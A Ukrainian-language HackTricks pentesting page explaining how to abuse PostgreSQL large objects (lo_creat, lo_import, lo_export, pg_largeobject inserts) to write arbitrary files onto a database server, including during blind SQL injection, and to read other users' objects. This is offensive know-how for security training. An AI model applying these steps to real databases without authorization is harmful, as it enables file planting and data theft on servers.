tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

PostgreSQL Великі Об'єкти

PostgreSQL пропонує структуру, відому як великі об'єкти, доступну через таблицю pg_largeobject, призначену для зберігання великих типів даних, таких як зображення або PDF-документи. Цей підхід є вигіднішим у порівнянні з функцією COPY TO, оскільки він дозволяє експортувати дані назад до файлової системи, забезпечуючи точну копію оригінального файлу.

Для зберігання повного файлу в цій таблиці, об'єкт повинен бути створений у таблиці pg_largeobject (ідентифікований за LOID), після чого дані розбиваються на частини, кожна з яких має розмір 2KB, і вставляються в цей об'єкт. Важливо, щоб ці частини мали точно 2KB в розмірі (з можливим винятком останньої частини), щоб функція експорту працювала правильно.

Щоб поділити ваші бінарні дані на частини по 2KB, можна виконати такі команди:

bash
split -b 2048 your_file # Creates 2KB sized files

Для кодування кожного файлу в Base64 або Hex можна використовувати такі команди:

bash
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

Важливо: При автоматизації цього процесу переконайтеся, що надсилаєте частини по 2 КБ чистих байтів. Файли в шістнадцятковому кодуванні вимагатимуть 4 КБ даних на частину через подвоєння розміру, тоді як файли в кодуванні Base64 слідують формулі ceil(n / 3) * 4.

Вміст великих об'єктів можна переглядати для налагодження за допомогою:

sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;

Використання lo_creat та Base64

Щоб зберегти бінарні дані, спочатку створюється LOID:

sql
SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

У ситуаціях, що вимагають точного контролю, таких як експлуатація Blind SQL Injection, lo_create віддається перевага для вказівки фіксованого LOID.

Частини даних можна вставити наступним чином:

sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

Щоб експортувати та потенційно видалити великий об'єкт після використання:

sql
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

Використання lo_import та Hex

Функція lo_import може бути використана для створення та вказівки LOID для великого об'єкта:

sql
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

Після створення об'єкта дані вставляються по сторінках, забезпечуючи, щоб кожен фрагмент не перевищував 2 КБ:

sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

Щоб завершити процес, дані експортуються, а великий об'єкт видаляється:

sql
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

Обмеження

Зазначено, що великі об'єкти можуть мати ACL (Списки контролю доступу), що потенційно обмежує доступ навіть до об'єктів, створених вашим користувачем. Однак старі об'єкти з ліберальними ACL все ще можуть бути доступні для ексфільтрації вмісту.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks